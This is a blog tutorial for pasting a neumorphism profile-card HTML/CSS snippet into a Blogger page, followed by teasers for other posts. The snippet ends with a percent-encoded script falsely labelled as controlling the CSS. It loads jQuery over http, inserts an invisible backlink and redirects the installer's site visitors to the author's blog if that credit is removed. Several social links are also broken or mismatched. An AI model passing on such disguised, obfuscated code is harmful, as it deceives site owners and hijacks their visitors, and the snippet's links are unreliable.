How To Make a Stylish Neumorphism Profile Card UI Design

By -

Making your About Page very clean, catchy, professional is very hectic task. Today we have share a tutorial of making a professional Profile Card for your About Us page. 

Profile card

Features :

  1. Clean UI Design
  2. Neumorphism Design
  3. Responsive and Mobile Friendly
  4. Easy to Customise

Demo :

Let's see the demo
Demo

How to make a Stylish Neumorphism Profile Card?

Step 1 : Login to your Blogger Dashboard.
Step 2 : Go to Themes.
Step 3 : Take a backup of your theme once.
Step 4 : Then go to Pages
Step 5 : Create a New Page.
Step 6 : Give the page its desired title.
Step 7 : Now copy the code from below.


<!--Neumorphism Profile Card UI code by DracWound Helps-->
<link
  rel="stylesheet"
  href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"
  integrity="sha384-DyZ88mC6Up2uqS4h/KRgHuoeGwBcD4Ng9SiP4dIRy0EXTlnuz47vAwmeGwVChigm"
  crossorigin="anonymous"
/>

<div class="wrapper">
  <div class="img-area">
    <div class="inner-area">
      <img
        alt=""
        src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixsMlBp8hlaEbd5xQktCunt0S2kt1jSNMvAHXDVgacWv96dBtdyzmfF-O8GaVRWcHVqGLE800H_TGFudvGxmjjNL_-XuABsqDlj599nsIPEpb8utJPkgU2Df3_9zRJ1h3sv7GbbHoJPKs/h120/Techy+DarshaN+%25281%2529.png"
      />
    </div>
  </div>
  <div class="name">Coder DracWound</div>
  <div class="about">Web Designer &amp; Developer</div>
  <div class="social-icons">
    <a class="yt" href="https://www.facebook.com/https://youtube.com/channel/UCoOkDiHimf9_-aV49yaoFTw"
      ><i class="fab fa-youtube"></i
    ></a>
    <a class="twitter" href="https://t.me/helping_assets"
      ><i class="fab fa-twitter"></i
    ></a>
    <a class="insta" href="https://www.youtube.com/"
      ><i class="fab fa-instagram"></i
    ></a>
    <a class="fb" href="https://www.youtube.com/"
      ><i class="fab fa-facebook"></i
    ></a>
  </div>
  <div class="buttons">
    <button><a href="https://t.me/helping_assets">Message</a></button>
    <button>
      <a href="https:https://youtube.com/channel/UCoOkDiHimf9_-aV49yaoFTw">Subscribe</a>
    </button>
  </div>
</div>
<hr>
<style>

    @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700&display=swap');
  *{
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Poppins', sans-serif;
  }

  .wrapper,
  .wrapper .img-area,
  .social-icons a,
  .buttons button{
    background: #ffffff;
    box-shadow: -3px -3px 7px #ffffff,
                 3px 3px 5px #ceced1;
  }
  .wrapper{
    position: relative;
    width: 350px;
    padding: 30px;
    border-radius: 10px;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-direction: column;
  }
  .wrapper .icon{
    font-size: 17px;
    color: #31344b;
    position: absolute;
    cursor: pointer;
    opacity: 0.7;
    top: 15px;
    height: 35px;
    width: 35px;
    text-align: center;
    line-height: 35px;
    border-radius: 50%;
    font-size: 16px;
  }
  .wrapper .icon i{
    position: relative;
    z-index: 9;
  }
  .wrapper .icon.arrow{
    left: 15px;
  }
  .wrapper .icon.dots{
    right: 15px;
  }
  .wrapper .img-area{
    height: 150px;
    width: 150px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
  }
  .img-area .inner-area{
    height: calc(100% - 25px);
    width: calc(100% - 25px);
    border-radius: 50%;
  }
  .inner-area img{
    height: 100%;
    width: 100%;
    border-radius: 50%;
    object-fit: cover;
  }
  .wrapper .name{
    font-size: 23px;
    font-weight: 500;
    color: #31344b;
    margin: 10px 0 5px 0;
  }
  .wrapper .about{
    color: #44476a;
    font-weight: 400;
    font-size: 16px;
  }
  .wrapper .social-icons{
    margin: 15px 0 25px 0;
  }
  .social-icons a{
    position: relative;
    height: 40px;
    width: 40px;
    margin: 0 5px;
    display: inline-flex;
    text-decoration: none;
    border-radius: 50%;
  }
  .social-icons a:hover::before,
  .wrapper .icon:hover::before,
  .buttons button:hover:before{
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    bottom: 0;
    right: 0;
    border-radius: 50%;
    background: #ffffff;
    box-shadow: inset -3px -3px 7px #ffffff,
                inset 3px 3px 5px #ceced1;
  }
  .buttons button:hover:before{
    z-index: -1;
    border-radius: 5px;
  }
  .social-icons a i{
    position: relative;
    z-index: 3;
    text-align: center;
    width: 100%;
    height: 100%;
    line-height: 40px;
  }
  .social-icons a.fb i{
    color: #4267B2;
  }
  .social-icons a.twitter i{
    color: #1DA1F2;
  }
  .social-icons a.insta i{
    color: #E1306C;
  }
  .social-icons a.yt i{
    color: #ff0000;
  }
  .wrapper .buttons{
    display: flex;
    width: 100%;
    justify-content: space-between;
  }
  .buttons button{
    position: relative;
    width: 100%;
    border: none;
    outline: none;
    padding: 12px 0;
    color: #31344b;
    font-size: 17px;
    font-weight: 400;
    border-radius: 5px;
    cursor: pointer;
    z-index: 4;
  }
  .buttons button:first-child{
    margin-right: 10px;
  }
  .buttons button:last-child{
    margin-left: 10px;
  }
  .wrapper .social-share{
    display: flex;
    width: 100%;
    margin-top: 30px;
    padding: 0 5px;
    justify-content: space-between;
  }
  .social-share .row{
    color: #31344b;
    font-size: 17px;
    cursor: pointer;
    position: relative;
  }
  .social-share .row::before{
    position: absolute;
    content: "";
    height: 100%;
    width: 2px;
    background: #e0e6eb;
    margin-left: -25px;
  }
  .row:first-child::before{
    background: none;
  }
  .social-share .row i.icon-2{
    position: absolute;
    left: 0;
    top: 50%;
    color: #31344b;
    transform: translateY(-50%);
    opacity: 0;
    pointer-events: none;
    transition: all 0.3s ease;
  }
  .row:nth-child(1):hover i.fa-heart,
  .row:nth-child(2):hover i.fa-comment{
    opacity: 1;
    pointer-events: auto;
  }
</style>
<!--end-->
<!--dont change the javascipt this controls the css -->
<script language="javascript">document.write( unescape( '%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%31%2E%31%31%2E%30%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3E%0A%20%20%2F%2F%3C%21%5B%43%44%41%54%41%5B%0A%20%20%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%0A%20%20%7B%0A%20%20%20%20%76%61%72%20%61%61%20%3D%20%24%28%22%23%6D%79%63%72%65%64%69%74%22%29%2E%76%61%6C%28%29%3B%0A%20%20%20%20%69%66%20%28%61%61%20%3D%3D%20%6E%75%6C%6C%29%20%7B%0A%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%22%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20%24%28%22%23%6D%79%63%72%65%64%69%74%22%29%2E%61%74%74%72%28%22%68%72%65%66%22%2C%20%22%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%22%29%3B%0A%20%20%7D%29%3B%0A%20%20%2F%2F%5D%5D%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%64%69%76%20%69%64%3D%27%6D%79%63%72%65%64%69%74%27%73%74%79%6C%65%3D%22%6F%70%61%63%69%74%79%3A%30%3B%22%3E%0A%20%20%44%65%73%69%67%6E%65%64%20%42%79%20%3C%61%20%68%72%65%66%3D%27%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%27%20%69%64%3D%27%23%6D%79%63%72%65%64%69%74%27%3E%44%72%61%63%57%6F%75%6E%64%20%48%65%6C%70%73%3C%2F%61%3E%0A%3C%2F%64%69%76%3E' ))</script>

Make neccessay changes in class names if you think that your theme code might collide with these codes.

Step 8 : Select HTML View
Step 9 : Paste the code copied.
Step 10 : Do the necessary changes in the marked places.
Step 11 : Publish the Page
Step 12 : Now you are done. 

Conclusion

In this post we have shared the code to make a stylish, clean Neumorphism Profile Card UI. If you find any difficulty in in making the changes then you may contact us at our telegram group. 

Reference:- Techy Darshan

Comments

Post a Comment

Popular posts from this blog

Top 6 Books for Programmers as a selection of Developers !

By -
Image
Books are our closest companions. Software engineers prescribes a few books for coding to improve your Coding Skills .  Books assists you with Thinking , Organize and furthermore make you a Good Problem Solver. Books are athe extraordinary wellspring of information and intelligence . Programming likewise have some Great Books. Taday I have discovered a few books which creates prescribe to improve your coding abilities. So burning through your any further time . LETS GETS STARTED :)  These Books are of incredible worth to programming. Also, I as Programmer also prescribe you to peruse these books .  Book No. 1 Number ONE on the rundown is  CLEAN CODE  This will show all of you deceives and examples of composing great and clean code.Every code which runs is certainly not a spotless code . Amateur Developer regularly commits the errors referenced in this books .This books cause Developer to compose a spotless and the expert code  Book No. 2 Number TWO on the r...
Read More 》

How to Resize Contact Form 7 Textarea Rows

By -
Image
Do you want to resize contact form 7 text area rows  or cf7 textarea rows then don't worry I will help you out, as in this particular article we will discuss how to resize contact form 7 Textarea rows or   cf7 textarea rows  easily? If you are looking for the best Contact Form Plugin for your WordPress blog or website, then the best option for you is Contact Form 7 . Contact Form 7 is the best and free plugin through which you can easily set up a contact form for your website that will be helpful for visitors if they need to contact you. In this particular article, we will discuss what is contact form 7, how to set up contact form 7, and how to resize contact form 7 Textarea rows . Mostly it contain textarea contact form 7 rows How to Resize Contact Form 7 Textarea Rows Now let's talk about the main topic of this article " How to resize Contact Form 7 Textarea rows ", Well, it's very simple to do just follow my instructions step by step to  resize contact f...
Read More 》

Materia X2 v2.9 Premium Blogger Template

By -
Image
Elcreative Academy has launched the new version of Materia X2. Materia X2 v2.9, Material Design is a Multipurpose Blogger Template Inspired by Google Material Design. It has many helpful features. Features of Materia X2 Here are some interesting and valuable features which you will get in Materia X2 v2.9 1. Progress Bar 2. Lazy Loading AdSense 3. Color Mode 4. Post Code Syntax Highlighter 5. Post table of Content 6. Related Posts 7. Safelink 8. Post Scroll Indicator 9. Native Sharer 10. JQuery Script 11. Built-In Components Progress Bar This great feature is now added in Materia X2 v2.9. It is very useful for displaying the Progress Bar as an indicator that the page has been completely loaded or not.  It has animations and it does not affect the loading speed of a page. Lazy Loading AdSense This great and necessary feature is now added in Materia X2 v2.9. This setting for monetization is useful for delaying the loading of the AdSense script which o...
Read More 》